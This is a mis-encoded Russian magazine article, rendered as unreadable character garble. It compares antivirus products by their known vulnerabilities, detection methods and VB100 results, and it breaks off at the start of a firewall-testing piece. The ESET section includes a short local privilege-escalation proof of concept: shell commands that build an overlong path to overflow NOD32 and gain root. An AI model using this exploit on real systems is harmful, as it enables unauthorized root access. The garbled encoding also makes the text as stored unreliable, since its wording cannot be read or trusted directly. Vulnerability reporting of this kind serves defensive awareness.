íîâíîé êàòàëîã ïîëüçîâàòåëÿ ðàñïî-
ëîæåí íà ñåòåâîì ðåñóðñå,
WebScanX âûçûâàåò íåñêîëüêî .dll-
ôàéëîâ â îñíîâíîì êàòàëîãå ïîëüçî-
âàòåëÿ. Íàïàäàþùèé ìîæåò âíåä-
ðèòü ïðîèçâîëüíûé êîä â ýòè dll, êî-
òîðûé áóäåò âûïîëíåí íà ñèñòåìå
ïîëüçîâàòåëÿ ñ ñèñòåìíûìè ïðèâè-
ëåãèÿìè.

Ïðè ñêàíèðîâàíèè ñôîðìèðîâàí-
íûõ îñîáûì îáðàçîì àðõèâîâ â ôîð-

ìàòå LHA â äâèæêå àíòèâèðóñà âîçíè-
êàåò îøèáêà ïåðåïîëíåíèÿ áóôåðà,
ïîñëå ÷åãî íàïàäàþùèé ïîëó÷àåò
âîçìîæíîñòü âûïîëíèòü íà ìàøèíå
âðåäîíîñíûé êîä.

ESET
Eset NOD32 íå âñåãäà ìîæåò îïðå-

äåëèòü òî÷íîå íàçâàíèå âèðóñà, íî-
ìåð åãî âåðñèè è ò.ä.

Â àíòèâèðóñå Eset's NOD32 äëÿ
UNIX-ñèñòåì ñóùåñòâóåò îøèáêà, ïðè-
âîäÿùàÿ ê ïåðåïîëíåíèþ áóôåðà.
Ëîêàëüíûé ïîëüçîâàòåëü ìîæåò ïî-
ëó÷èòü root-ïðèâèëåãèè. 

Èñïîëüçîâàòü óÿçâèìîñòü î÷åíü
ïðîñòî. Ñîçäàåì èìÿ ïóòè äëèííåå
500 ñèìâîëîâ. Â ðåçóëüòàòå óÿçâè-
ìîñòü ïîçâîëÿåò ïåðåçàïèñàòü EAX è
ECX ðåãèñòð, ïîñëå ýòîãî âûïîëíèòü
ïðîèçâîëüíûé êîä ñ ïðèâèëåãèÿìè
ñêàíèðóþùåãî ïðîöåññà (root-ïîëüçî-
âàòåëü). Ïðèìåð:

$ perl eggnod.pl
$ mkdir -p /tmp/`perl -e 'print "A" x 255'`/`perl -e
'print "B" x 240 . "\xfc\xbf\xbf"'`
$ nod32 /tmp
Óÿçâèìîñòü îáíàðóæåíà â NOD32 1.012.

Ñóùåñòâóþò ðåäêèå ëîæíûå ñðà-
áàòûâàíèÿ. Íî è îäíîãî òàêîãî ñëó÷àÿ
äîñòàòî÷íî, åñëè â ðåçóëüòàòå âìåñòî
âèðóñà óäàëåí íóæíûé ôàéë.

SYMANTEC
Ðåäêèå îáíîâëåíèÿ áîëüøîãî ðàç-

ìåðà (îáû÷íî íå ìåíåå 4 Ìá).
Ïðè ïîïûòêå ïðîñêàíèðîâàòü íà

íàëè÷èå âèðóñîâ ñ ëîêàëüíîé ìàøè-
íû àíòèâèðóñ âûäàåò îøèáêó 0õ2. Îä-
íàêî ïðè ñêàíèðîâàíèè ýòîãî æå
êîìïüþòåðà ÷åðåç Symantec System
Center Console âñå èäåò íîðìàëüíî.

Ñóùåñòâóåò óÿçâèìîñòü â îáðà-
áîòêå UPX ñæàòûõ ôàéëîâ. Óÿçâè-
ìîñòü âûçâàíà îøèáêîé â ìîäóëå àí-
òèâèðóñà DEC2EXE. 

Êñòàòè, íå ñòîèò èñêàòü óÿçâèìîñòè
ïðîäóêòîâ Symantec íà ñàéòå www.securityfo-
cus.com. Äàííûé ïîðòàë áûë êóïëåí êîì-
ïàíèåé Symantec â ïðîøëîì ãîäó :).

Symantec îáíàðóæèâàåò ìíîãèå
âèðóñû, íî íîðìàëüíî óáèòü èõ, íå òî
÷òî ëå÷èòü, åìó âðÿä ëè óäàñòñÿ.

Ìåäëåííåå âñåõ âûïîëíÿåò ïîë-
íîå ñêàíèðîâàíèå æåñòêîãî äèñêà.

ÀÍÒÈÂÈÐÓÑ ÊÀÑÏÅÐÑÊÎÃÎ
Íå ñàìûé áûñòðûé àíòèâèðóñ, íî, âè-

äèìî, çà êà÷åñòâî ïðèõîäèòñÿ ïëàòèòü.
Ñóùåñòâîâàëà áàãà ñ îáðàáîò-

êîé zip-àðõèâîâ. Ñóòü â òîì, ÷òî äëÿ
êàæäîãî íàõîäÿùåãîñÿ â àðõèâå
îáúåêòà zip õðàíèò äâå êîïèè çàãî-
ëîâêà (local/central directory), ñî-
äåðæàùåãî, ñðåäè ïðî÷åãî, ðåàëü-
íûé ðàçìåð ðàñïàêîâàííîãî ôàéëà.
Åñëè çëîóìûøëåííèê â îáîèõ çàãî-
ëîâêàõ óêàæåò çíà÷åíèå ðàçìåðà
ðàâíûì íóëþ, òî àíòèâèðóñíûé ñêà-
íåð îøèáî÷íî ïîñ÷èòàåò îáúåêò
ñëèøêîì ìàëåíüêèì äëÿ ïðîâåðêè è
ïðîïóñòèò åãî (ïîôèêñåíî ïîñëå îã-
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øèé àíàëèçàòîð îòñëåæèâàåò îòäåëüíûå äåéñòâèÿ, áîëåå ñëîæíûé � èõ
ïîñëåäîâàòåëüíîñòü â ðàìêàõ îòäåëüíîé ïðîãðàììû è ñèñòåìû â öåëîì.

Ïîèñê âðåäîíîñíûõ ïðîãðàìì ïî âòîðè÷íûì (êîñâåííûì) ïðèçíà-
êàì. Äàííàÿ ìåòîäèêà õîðîøî çàðåêîìåíäîâàëà ñåáÿ äëÿ ïîèñêà
SpyWare è îñíîâàíà íà ïîèñêå õàðàêòåðíûõ ôàéëîâ, êëþ÷åé ðååñò-
ðîâ, çàðåãèñòðèðîâàííûõ êëàññîâ, BHO è ò.ï.
Î ýâðèñòèêå ìîæíî ñðàçó ñêàçàòü, ÷òî îí íå ìîæåò äàòü 100% çàùèòû
è åãî ðàáîòà ñâîäèòñÿ ê óäåðæàíèþ áàëàíñà ìåæäó ïðèåìëåìûì óðîâ-
íåì çàùèòû è ïðèåìëåìûì óðîâíåì ëîæíûõ ñðàáàòûâàíèé. Êàê ïîêà-
çàëè ìîè îïûòû, õîðîøèì ïîäñïîðüåì â ðàáîòå àíòèâèðóñà â öåëîì è
ýâðèñòèêà â ÷àñòíîñòè ìîæåò áûòü "àíòèâèðóñ íàîáîðîò". Èäåÿ ìåòî-
äà ïðîñòà: êðîìå âíåñåíèÿ â áàçó ñèãíàòóð âèðóñîâ, ìîæíî âíîñèòü
ñèãíàòóðû èëè öèôðîâûå ïîäïèñè áåçîïàñíûõ ôàéëîâ. Ïðèìåíåíèå
áàçû ÷èñòûõ îáúåêòîâ íà 30-50 òûñ. çàïèñåé ìîæåò ñóùåñòâåííî îá-
ëåã÷èòü àíàëèç ÏÊ ïóòåì ñíÿòèÿ ïîäîçðåíèé ñ èçâåñòíûõ áåçîïàñíûõ
ïðîöåññîâ è áèáëèîòåê. 
Ñëåäóåò çàòðîíóòü è äðóãóþ ïðîáëåìó � ðóòêèòû. Êàê èçâåñòíî, ðóò-
êèò-òåõíîëîãèÿ ïîçâîëÿåò èçìåíèòü ðàáîòó ÿäðà ñèñòåìû ïî óñìîòðå-
íèþ ðàçðàáîò÷èêà ðóòêèòà, â ðåçóëüòàòå ÷åãî äîñòàòî÷íî ëåãêî ìîæíî
"ñïðÿòàòü" ôàéëû, êëþ÷è ðååñòðà, îòêðûòûå ïîðòû è ïðî÷èå ïðîÿâëå-
íèÿ ðàáîòû âðåäîíîñíîé ïðîãðàììû îò àíòèâèðóñà èëè óòèëèò ïîëüçî-
âàòåëÿ. Äàííàÿ òåõíîëîãèÿ ïîñòåïåííî îñâàèâàåòñÿ âèðóñîïèñàòåëÿ-
ìè, è â ìîåé êîëëåêöèè åñòü ñîòíè îáðàçöîâ, îò òðîÿíñêèõ ïðîãðàìì è
ñåòåâûõ ÷åðâåé äî SpyWare è ïîðíîçâîíèëîê. Îáíàðóæèòü è óäàëèòü
ðóòêèò äîñòàòî÷íî òðóäíî, íåéòðàëèçîâàòü íà ðàáîòàþùåé ñèñòåìå �
åùå ñëîæíåå. Ñàìîå èíòåðåñíîå òî, ÷òî áîëüøèíñòâî àíòèâèðóñîâ
áåññèëüíû ïðîòèâ ðóòêèòà: ìíå, ê ïðèìåðó, äîâîäèëîñü êîíñóëüòèðî-
âàòü ñïåöèàëèñòîâ îäíîé ôèðìû, íà ñåðâåðå êîòîðîé áûë íàéäåí ðóò-
êèò, ìàñêèðóþùèé ïàïêó ñ öåëûì íàáîðîì ðàçíîãî õàêåðñêîãî èíñòðó-
ìåíòàðèÿ è íåñêîëüêî ïðîöåññîâ â ïàìÿòè. Ïðè ýòîì íà ñåðâåðå ðàáî-
òàë àíòèâèðóñ, êîòîðûé íå âûñêàçûâàë íè ìàëåéøåãî ïîäîçðåíèÿ.

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ: ÀÍÒÈÂÈÐÓÑÍÛÅ ÒÅÕÍÎËÎÃÈÈ
ÇÀÉÖÅÂ ÎËÅÃ, ÀÂÒÎÐ AVZ (HTTP://Z-OLEG.COM/SECUR)



ëàñêè, ñëåäóåò äîáàâèòü ðàäè ñïðà-
âåäëèâîñòè).

Íåóäà÷íàÿ ÷åòâåðòàÿ âåðñèÿ, åå
ïðîäóêòû îòëè÷àþòñÿ íåïðîäóìàííûì
è ñîâåðøåííî íåäðóæåëþáíûì äëÿ
ïîëüçîâàòåëÿ èíòåðôåéñîì.

Àíòèâèðóñ Êàñïåðñêîãî âñå-òàêè
óäàëÿåò ìíîãèå âèðóñû, äàæå íå ïûòà-
ÿñü ëå÷èòü èõ. 

TREND MICRO
Ïî óìîë÷àíèþ ê ïàïêå óñòàíîâêè

Trend Micro Office Scan è ñîîòâåòñòâó-
þùåìó ðàçäåëó ðååñòðà äàåòñÿ ïîë-
íûé äîñòóï ãðóïïå Everyone. 

Âûïóñê "ñûðûõ" (íåïðîâåðåííûõ)
îáíîâëåíèé, ïðèâîäÿùèõ ê íàðóøå-
íèþ ðàáîòû ñèñòåìû, ïðîáëåìàì äîñ-
òóïà ê ñåòåâûì ðåñóðñàì è äð.

Íåêîððåêòíàÿ îáðàáîòêà ñôîðìè-
ðîâàííûõ îñîáûì îáðàçîì àðõèâîâ â
ôîðìàòå ARJ. Äëÿ ðåàëèçàöèè íàïà-
äåíèÿ çëîóìûøëåííèêó íåîáõîäèìî
âñòàâèòü â ëîêàëüíûé çàãîëîâîê àð-
õèâà ÷ðåçìåðíî äëèííîå èìÿ ôàéëà.
Åñëè àòàêà ïðîéäåò óñïåøíî, áóäåò
âûïîëíåí ïðîèçâîëüíûé âðåäîíîñ-
íûé êîä íà óäàëåííîì êîìïüþòåðå.

Êîãäà Trend Micro PC-cillin Internet
Security âûäàåò ïðåäóïðåæäåíèÿ
ïîëüçîâàòåëþ, îíà ñîçäàåò HMTL-
ôàéë â êàòàëîãå âðåìåííûõ ôàéëîâ
íà öåëåâîé ñèñòåìå è çàòåì çàãðóæà-
åò ôàéë ÷åðåç Microsoft Internet
Explorer. Óäàëåííûé ïîëüçîâàòåëü
ìîæåò ñîçäàòü ñïåöèàëüíî ñôîðìè-
ðîâàííûé zip-àðõèâ è HTML, êîòîðûé
çàñòàâèò áðàóçåð öåëåâîãî ïîëüçîâà-
òåëÿ çàãðóçèòü zip-ôàéë. Çàòåì, êîãäà
ïðîãðàììíîå îáåñïå÷åíèå Trend Micro
ñãåíåðèðóåò ïðåäóïðåæäåíèå äëÿ zip-
ôàéëà (÷òî îí ñîäåðæèò íåêîòîðûé
çëîíàìåðåííûé êîä), áóäåò âûïîëíåí
ïðîèçâîëüíûé êîä ñöåíàðèÿ, ñîäåð-
æàùèéñÿ â zip-ôàéëå.

Ñëàáàÿ òåõíè÷åñêàÿ ïîääåðæêà,
ðîññèéñêàÿ âåðñèÿ ïîðòàëà Trend
Micro íà àíãëèéñêîì ÿçûêå.

ÂÛÑÎÊÈÅ ÒÅÕÍÎËÎÃÈÈ
Íà êàêèå òîëüêî óõèùðåíèÿ íå

èäóò çëîóìûøëåííèêè ïðè íàïèñàíèè
ñâîèõ äåòèù, íî àíòèâèðóñíûå ðàçðà-
áîò÷èêè òîæå íå ñèäÿò íà ìåñòå è èñ-
ïîëüçóþò ðàçëè÷íûå ìåòîäû äåòåêòè-
ðîâàíèÿ. Âîò îñíîâíûå:
1. Èñïîëüçîâàíèå ñèãíàòóð è êîíò-

ðîëüíûõ ñóìì. Ýòî ñàìûé ðàñïðîñòðà-
íåííûé ìåòîä, îñíîâàííûé íà ñðàâíå-
íèè èìåþùèõñÿ ñèãíàòóð ñ ñèãíàòóðà-
ìè ñêàíèðóåìûõ ôàéëîâ.

2. Ýâðèñòè÷åñêèé àíàëèçàòîð. Ýâ-
ðèñòèêà (ãðå÷. heurisko - îòûñêèâàþ,
îòêðûâàþ) � ýòî íàóêà, èçó÷àþùàÿ
ïðîäóêòèâíîå òâîð÷åñêîå ìûøëåíèå
è èñïîëüçóþùàÿ ñïåöèàëüíûå ìåòî-
äû ñ öåëüþ îòêðûòèÿ íîâîãî. Ñ ïî-
ìîùüþ ýâðèñòèêè ìîæíî ðàñïîçíàòü
âèðóñíóþ ïðîãðàììó ïî òèïó âûïîë-
íÿåìûõ äåéñòâèé. Èíîãäà ýâðèñòè÷åñ-
êèé àíàëèçàòîð ïîçâîëÿåò äåòåêòèðî-
âàòü öåëîå ñåìåéñòâî îäíîãî âèðóñà
ïî çàäàííîìó àëãîðèòìó.

Ñîâðåìåííûå ýâðèñòè÷åñêèå àíàëè-
çàòîðû ïîçâîëÿþò îáíàðóæèâàòü âðå-
äîíîñíûå êîäû â èñïîëíÿåìûõ ôàé-
ëàõ, ñåêòîðàõ è ïàìÿòè, à òàêæå íîâûå
ñêðèïò-âèðóñû è âðåäîíîñíûå ïðîã-
ðàììû äëÿ Microsoft Office (è äðóãèõ
ïðîãðàìì, èñïîëüçóþùèõ VBA) è, íà-
êîíåö, âðåäîíîñíûé êîä, íàïèñàííûé
íà ÿçûêàõ âûñîêîãî óðîâíÿ, òàêèõ êàê
Microsoft Visual Basic. Ãèáêàÿ àðõèòåê-
òóðà è êîìáèíàöèÿ ðàçëè÷íûõ ìåòî-
äîâ ïîçâîëÿåò äîáèòüñÿ äîñòàòî÷íî
âûñîêîãî óðîâíÿ äåòåêòèðîâàíèÿ íî-
âûõ âðåäîíîñíûõ ïðîãðàìì. Âûñîêàÿ
ýôôåêòèâíîñòü ýâðèñòè÷åñêîãî àíà-

ëèçàòîðà íàáëþäàåòñÿ ïðè äåòåêòèðî-
âàíèè ýêñïëîéòîâ.
3. Ýìóëÿöèÿ. Ïðè äàííîì ïîäõîäå

ñîçäàåòñÿ âèðòóàëüíàÿ ñðåäà, â ðàì-
êàõ êîòîðîé ýìóëèðóåòñÿ ïîâåäåíèå
ïîäîçðåâàåìîé ïðîãðàììû. Ïîçâîëÿåò
ðàñïîçíàâàòü ïîëèìîðôíûå âèðóñû.

Êðîìå òîãî, ìíîãèå êîìïàíèè èìåþò
ñâîè óíèêàëüíûå òåõíîëîãèè, ñîäåé-
ñòâóþùèå ýôôåêòèâíîìó èñïîëüçî-
âàíèþ àíòèâèðóñà. Òàê â àíòèâèðóñ-
íîì "äâèæêå" Àíòèâèðóñà Êàñïåðñêî-
ãî ðåàëèçîâàí ðÿä òåõíîëîãèé, êîòî-
ðûå çíà÷èòåëüíî óñêîðÿþò ïðîâåðêó
îáúåêòîâ è ïðè ýòîì ãàðàíòèðóþò ñîõ-
ðàíåíèå âûñîêîãî êà÷åñòâà äåòåêòè-
ðîâàíèÿ, à òàêæå óëó÷øàþò äåòåêòè-
ðîâàíèå è ëå÷åíèå âðåäîíîñíîãî
ïðîãðàììíîãî îáåñïå÷åíèÿ â àðõèâ-
íûõ ôàéëàõ. 

Òåõíîëîãèÿ iChecker ïîçâîëÿåò äî-
áèòüñÿ ðàçóìíîãî áàëàíñà ìåæäó íà-
äåæíîñòüþ çàùèòû ðàáî÷èõ ñòàíöèé
(îñîáåííî ñåðâåðîâ) è èñïîëüçîâàíè-
åì ñèñòåìíûõ ðåñóðñîâ çàùèùàåìîãî
êîìïüþòåðà. Áëàãîäàðÿ ýòîé òåõíîëî-
ãèè çíà÷èòåëüíî ñîêðàùàåòñÿ âðåìÿ
çàãðóçêè (äî 30-40%) îïåðàöèîííîé
ñèñòåìû (ïî ñðàâíåíèþ ñ òðàäèöèîí-
íûìè àíòèâèðóñíûìè ðåøåíèÿìè) è
âðåìÿ çàïóñêà ïðèëîæåíèé ïðè àêòèâ-
íîé àíòèâèðóñíîé çàùèòå. Ïðè ýòîì
ãàðàíòèðóåòñÿ, ÷òî âñå ôàéëû íà äèñ-
êàõ êîìïüþòåðà áûëè ïðîâåðåíû è íå
èíôèöèðîâàíû. Îñíîâíàÿ èäåÿ äàí-
íîé òåõíîëîãèè � íå ïðîâåðÿòü òî, ÷òî
íå èçìåíÿëîñü è óæå áûëî ïðîâåðåíî.
Àíòèâèðóñíûé "äâèæîê" âåäåò ñïåöè-
àëüíóþ áàçó äàííûõ, â êîòîðîé õðà-
íÿòñÿ êîíòðîëüíûå ñóììû âñåõ ïðîâå-
ðåííûõ (è íåèíôèöèðîâàííûõ) ôàé-
ëîâ. Òåïåðü, ïðåæäå ÷åì îòäàòü ôàéë
íà ïðîâåðêó, "äâèæîê" ïîäñ÷èòûâàåò
è ñðàâíèâàåò êîíòðîëüíóþ ñóììó
ôàéëà ñ äàííûìè, õðàíÿùèìèñÿ â áà-
çå äàííûõ. Åñëè äàííûå ñîâïàäàþò,
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Ïðè ïîðàæåíèè îáúåêòîâ âèðóñ, èñïîëüçóþùèé øèôðîâàíèå,
ïðåîáðàçóåò ñâîé êîä â øèôðîâàííóþ ïîñëåäîâàòåëüíîñòü äàííûõ
S = F (T), ãäå
T � áàçîâûé êîä âèðóñà;
S � çàøèôðîâàííûå êîäû âèðóñà;
F � ôóíêöèÿ øèôðîâàíèÿ âèðóñà, ïðîèçâîëüíî âûáèðàþùàÿñÿ èç
íåêîòîðîãî ìíîæåñòâà ïðåîáðàçîâàíèé {F}.

Äëÿ äåòåêòèðîâàíèÿ è ëå÷åíèÿ ïîëèìîðôíûõ âèðóñîâ èñïîëüçóåò-
ñÿ ñïîñîá ðåäóöèðîâàííîé ìàñêè. Åãî ñóòü: âûáèðàåòñÿ ïðåîáðàçî-
âàíèå R çàøèôðîâàííûõ êîäîâ âèðóñà S, òàêîå, ÷òî ðåçóëüòàò ïðå-
îáðàçîâàíèÿ (òî åñòü íåêîòîðàÿ ïîñëåäîâàòåëüíîñòü äàííûõ S') íå
áóäåò çàâèñåòü îò êëþ÷åé ïðåîáðàçîâàíèÿ F. Òî åñòü âîò òàê:
S = F (T)
S' = R (S) = R ( F (T) ) = R' (T).
Ïðè ïðèìåíåíèè ïðåîáðàçîâàíèÿ R ê âñåâîçìîæíûì âàðèàíòàì
øèôðîâàííîãî êîäà S ðåçóëüòàò S' áóäåò ïîñòîÿííûì ïðè ïîñòîÿí-
íîì T. Â èòîãå ïîëó÷àåì, ÷òî èäåíòèôèêàöèÿ ïîðàæåííûõ îáúåêòîâ
ïðîõîäèò òàê: â êà÷åñòâå ðåäóöèðîâàííîé ìàñêè âûáèðàþò S' è ê ïî-
ðàæåííûì îáúåêòàì ïðåîáðàçîâàíèÿ ïðèìåíÿþò R.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÐÅÄÓÖÈÐÎÂÀÍÍÎÉ ÌÀÑÊÈ

Íà ñàéòå www.viruslist.ru ìîæíî íàéòè
îïèñàíèå áîëüøèíñòâà âèðóñîâ!

Òîíêàÿ íàñòðîéêà àíòèâèðóñà



çíà÷èò, ôàéë áûë ïðîâåðåí è ïîâòîð-
íàÿ ïðîâåðêà íå òðåáóåòñÿ. Ñòîèò çà-
ìåòèòü, ÷òî âðåìÿ, çàòðà÷èâàåìîå íà
ïîäñ÷åò êîíòðîëüíûõ ñóìì ôàéëà,
çíà÷èòåëüíî ìåíüøå, ÷åì âðåìÿ àíòè-
âèðóñíîé ïðîâåðêè. 

iStreams � ýòî òåõíîëîãèÿ, áëèçêàÿ
ïî ñìûñëó iChecker, êîòîðàÿ ïîçâîëÿ-
åò èñêëþ÷èòü ïðîâåðêó ôàéëîâ, ðàñ-
ïîëîæåííûõ íà äèñêå ñ ôàéëîâîé
ñèñòåìîé NTFS, íå èçìåíåííûõ ñî
âðåìåíè ïîñëåäíåé ïðîâåðêè. Äëÿ åå
ðåàëèçàöèè èñïîëüçóåòñÿ òåõíîëîãèÿ
õðàíåíèÿ êîíòðîëüíûõ ñóìì ôàéëîâ
â äîïîëíèòåëüíûõ ïîòîêàõ NTFS.

iCure � òåõíîëîãèÿ ëå÷åíèÿ èíôèöè-
ðîâàííûõ ôàéëîâ â àðõèâàõ. Áëàãîäà-
ðÿ ýòîé òåõíîëîãèè èíôèöèðîâàííûå
îáúåêòû âíóòðè àðõèâíûõ ôàéëîâ áó-
äóò óñïåøíî âûëå÷åíû (èëè óäàëåíû,
â çàâèñèìîñòè îò íàñòðîåê àíòèâèðó-
ñà) áåç ïîìîùè âíåøíèõ óòèëèò àðõè-
âàöèè. Íà ñåãîäíÿøíèé äåíü ïîääåð-
æèâàþòñÿ ñëåäóþùèå òèïû àðõèâîâ:
ARJ, CAB, RAR, ZIP. Áëàãîäàðÿ ìî-
äóëüíîé àðõèòåêòóðå è òåõíîëîãèè ãî-
ðÿ÷åãî îáíîâëåíèÿ KeepUp2Date
ïîëüçîâàòåëü ñìîæåò ëåãêî îáíîâ-
ëÿòü è ðàñøèðÿòü ñïèñîê ïîääåðæè-
âàåìûõ òèïîâ àðõèâàòîðîâ áåç ïåðå-
çàãðóçêè àíòèâèðóñà.

iArc � åùå îäíà òåõíîëîãèÿ ðàáîòû ñ
àðõèâíûìè ôàéëàìè. Ýòà òåõíîëîãèÿ
óëó÷øàåò ïîääåðæêó ìíîãîòîìíûõ àð-
õèâîâ, êîòîðàÿ áûëà ðåàëèçîâàíà â
ïðåäûäóùèõ âåðñèÿõ àíòèâèðóñíîãî
"äâèæêà" Àíòèâèðóñà Êàñïåðñêîãî. iArc
ïîçâîëÿåò ïðîâåðÿòü ìíîãîòîìíûå àð-

õèâû. Òåïåðü Kaspersky Anti-Virus â
ñîñòîÿíèè îáíàðóæèòü âèðóñ äàæå åñ-
ëè îí áóäåò óïàêîâàí â ìíîãîòîìíûé
àðõèâ, êîòîðûé, â ñâîþ î÷åðåäü, òàêæå
áóäåò óïàêîâàí â ìíîãîòîìíûé àðõèâ. 

ÍÀÃÐÀÄÀ ÇÀ ÎÒÂÀÃÓ
Åæåìåñÿ÷íûé æóðíàë Virus

Bulletin, èçäàþùèéñÿ â Âåëèêîáðè-
òàíèè, â ÿíâàðå 1998 ãîäà ó÷ðåäèë
íàãðàäó VB 100%. Ýòî îäíà èç ñà-
ìûõ ïðåñòèæíûõ íàãðàä. VB 100%
ïðèñóæäàåòñÿ àíòèâèðóñíûì ïðî-
äóêòàì, îáíàðóæèâàþùèì âñå In-
The-Wild âèðóñû � "æèâûå" âèðóñû,
âñòðå÷àþùèåñÿ â ðåàëüíîé æèçíè è
àêòóàëüíûå íà äàííûé ìîìåíò, êàê â
ðåæèìå ñêàíèðîâàíèÿ ïî òðåáîâà-
íèþ, òàê è â ðåæèìå ïðîâåðêè â ðå-
àëüíîì âðåìåíè (ñ ïîìîùüþ àíòè-
âèðóñíîãî ìîíèòîðà). Íàãðàäà íå
ïðèñóæäàåòñÿ â ñëó÷àå ëîæíûõ ñðà-
áàòûâàíèé ïðè ñêàíèðîâàíèè "÷èñ-
òûõ" ôàéëîâ.

Â ñëåäóþùåé òàáëèöå ïðèâåäåíû
ðåçóëüòàòû ïîñëåäíèõ ïðèñóæäåíèé
VB 100% ïî èòîãàì îáíàðóæåíèÿ âè-
ðóñîâ â ðàçíûõ îïåðàöèîííûõ ñèñòå-
ìàõ. Ðåçóëüòàòû òàêæå äîñòóïíû íà
ñàéòå Virus Bulletin (www.virusbtn.com) äëÿ
ëþáîãî çàðåãèñòðèðîâàííîãî ïîëü-
çîâàòåëÿ.

Êàê ïîêàçûâàåò òàáëèöà, ïîë-
íîñòüþ ñî ñâîåé çàäà÷åé ñïðàâèëèñü
òîëüêî äâà àíòèâèðóñà: îòå÷åñòâåí-
íûé ïðîäóêò Àíòèâèðóñ Êàñïåðñêîãî
è Eset Nod32. Computer Associates è
Trend Micro äåëÿò ìåæäó ñîáîé ïåð-
âûå ìåñòà ñ îáðàòíîãî êîíöà. Àíòè-
âèðóñ Trend Micro âîîáùå â ïîñëåä-
íåå âðåìÿ ïîêàçûâàåò ñåáÿ íà ìèðî-
âîé àðåíå íå ñ ëó÷øåé ñòîðîíû. Ñðà-
çó âñïîìèíàåòñÿ íåïðèÿòíàÿ èñòî-
ðèÿ, ïðîèçîøåäøàÿ â ßïîíèè. Äåëî
â òîì, ÷òî àíòèâèðóñû Trend Micro
ñòîÿò íà çàùèòå â ÿïîíñêîé æåëåç-
íîäîðîæíîé êîìïàíèè East Japan
Railway Co. 24 àïðåëÿ ýòîãî ãîäà ãà-
çåòà Japan Times ñîîáùèëà, ÷òî êîì-
ïàíèÿ Trend Micro âûïóñòèëà îáíîâ-
ëåíèå, â êîòîðîì ñîäåðæàëñÿ ôàéë ñ
ãðóáîé îøèáêîé. Â ðåçóëüòàòå íà
ìíîãèõ êîìïüþòåðàõ æåëåçíîäîðîæ-
íîé êîìïàíèè, à òàêæå â íåêîòîðûõ
äðóãèõ ïîñòðàäàâøèõ îðãàíèçàöèÿõ
äîâîëüíî ïðîäîëæèòåëüíîå âðåìÿ
ïðîèñõîäèëè ñáîè â ðàáîòå ñèñòåìû,
à ñåòåâûå ðåñóðñû âîîáùå áûëè íå-
äîñòóïíû. Êîíå÷íî, ïîçæå îøèáêà
áûëà èñïðàâëåíà, íî âñå-òàêè ýòî íå
îáðàçåö äëÿ ðàáîòû îäíîãî èç ëèäå-
ðîâ àíòèâèðóñíîé èíäóñòðèè.

ÂÌÅÑÒÎ ÇÀÊËÞ×ÅÍÈß
Áåçóñëîâíî, ìîæíî áûëî áû

äîëãî ïîäâîäèòü èòîãè î òîì, êàêîé
àíòèâèðóñ ëó÷øå. Íî â ìîåé ñòàòüå
íå ìåñòî ñóáúåêòèâíîñòè, ïîýòîìó
ïóñòü ôàêòû è öèôðû îò àâòîðèòåò-
íûõ èñòî÷íèêîâ ãîâîðÿò çà ñåáÿ ñà-
ìè. Áûëè ðàññìîòðåíû ðàçëè÷íûå
êàòåãîðèè ñðàâíåíèÿ ïðîäóêòîâ. Õî-
òÿ, âîçìîæíî, ïðè ïîêóïêå ïðîãðàìì
íàì ïðèäåòñÿ ðóêîâîäñòâîâàòüñÿ è
äðóãèìè ïðèíöèïàìè, ïðèíèìàÿ âî
âíèìàíèå ãîñóäàðñòâåííóþ ñåðòè-
ôèêàöèþ èëè öåíó äîïîëíèòåëüíîé
òåõíè÷åñêîé ïîääåðæêè. Òåì íå ìå-
íåå, ñî÷åòàÿ èíôîðìàöèþ èç ýòîé
ñòàòüè ñî ñâîèìè ñîáñòâåííûìè
èäåÿìè, ìîæíî çíà÷èòåëüíî ïîâû-
ñèòü ýôôåêòèâíîñòü ïîñòðîåíèÿ
ñèñòåìû çàùèòû. E
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Ïðèìåðîâ øèðîêî èçâåñòíûõ "çàùèùåííûõ" îïåðàöèîííûõ ñèñ-
òåì è ïðèëîæåíèé, ê ñîæàëåíèþ, íåò. ×àñòè÷íî óäîâëåòâîðÿåò òðå-
áîâàíèþ "çàùèùåííîñòè" Java-ìàøèíà, êîòîðàÿ çàïóñêàåò Java-
ïðèëîæåíèå â ðåæèìå "ïåñî÷íèöû". È äåéñòâèòåëüíî, "íàñòîÿùèõ"
âèðóñîâ è òðîÿíñêèõ ïðîãðàìì â âèäå Java-ïðèëîæåíèé íå áûëî
äîñòàòî÷íî äîëãî (çà èñêëþ÷åíèåì òåñòîâûõ âèðóñîâ, êîòîðûå
ïðàêòè÷åñêè íåðàáîòîñïîñîáíû). Âðåäîíîñíûå ïðîãðàììû â âèäå
Java-ïðèëîæåíèé ïîÿâèëèñü ëèøü òîãäà, êîãäà áûëè îáíàðóæåíû
ñïîñîáû îáõîäà âñòðîåííîé â Java-ìàøèíó ñèñòåìû áåçîïàñíîñòè.

ÈÑÏÎËÜÇÎÂÀÍÈÅ ÐÅÄÓÖÈÐÎÂÀÍÍÎÉ ÌÀÑÊÈ

NetWare
Windows Server

2003
Windows NT Red Hat Linux 9 Windows XP

Dr. Web VB100% FAIL VB100% VB100% VB100%

Eset ! VB100% VB100% VB100% VB100% VB100%

Kaspersky ! VB100% VB100% VB100% VB100% VB100%

McAfee VB100% VB100% FAIL VB100% VB100%

Symantec VB100% VB100% VB100% - VB100%

Trend Micro - VB100% - VB100% -

VB100% - òåñò óñïåøíî ïðîéäåí;  
FAIL - íåóäîâëåòâîðèòåëüíàÿ îòìåòêà; 
-  ïðîäóêò íå ïðåäñòàâëåí äëÿ ýòîé ÎÑ

Íàãðàäà VB 100% íà ñàéòå Virus Bulletin

Òàáëèöà ¹3. Ïðèñóæäåíèå ïðåìèè VB 100%



Deeoni$ (arustamovv2000@mail.ru; ICQ 982-622)

Â ýòîé ñòàòüå íå áóäåò ñðàâíåíèÿ èíòåðôåéñîâ, õâàëåáíûõ ïåñåí è ïðî÷èõ ðîçîâûõ ñëþíåé. Ìû ïðîñòî âîçüìåì
ñàìûå ïîïóëÿðíûå ôàéðâîëû è áóäåì æåñòîêî è âñåñòîðîííå ïðîáèâàòü èõ. Âñåìè äîñòóïíûìè ìåòîäàìè. È ìû

äîáüåìñÿ ñâîåé öåëè.

ÆÅÑÒÊÈÉ 
ÒÅÑÒ ÔÀÉÐÂÎËÎÂ
ÏÐÎÂÅÐÈÌ, ÊÒÎ ÆÅ ÕÓÆÅ ÂÑÅÕ

Ñåãîäíÿ íà ñóä îáùåñò-
âåííîñòè ïðåäñòàíóò
òðè ïðîäóêòà security-
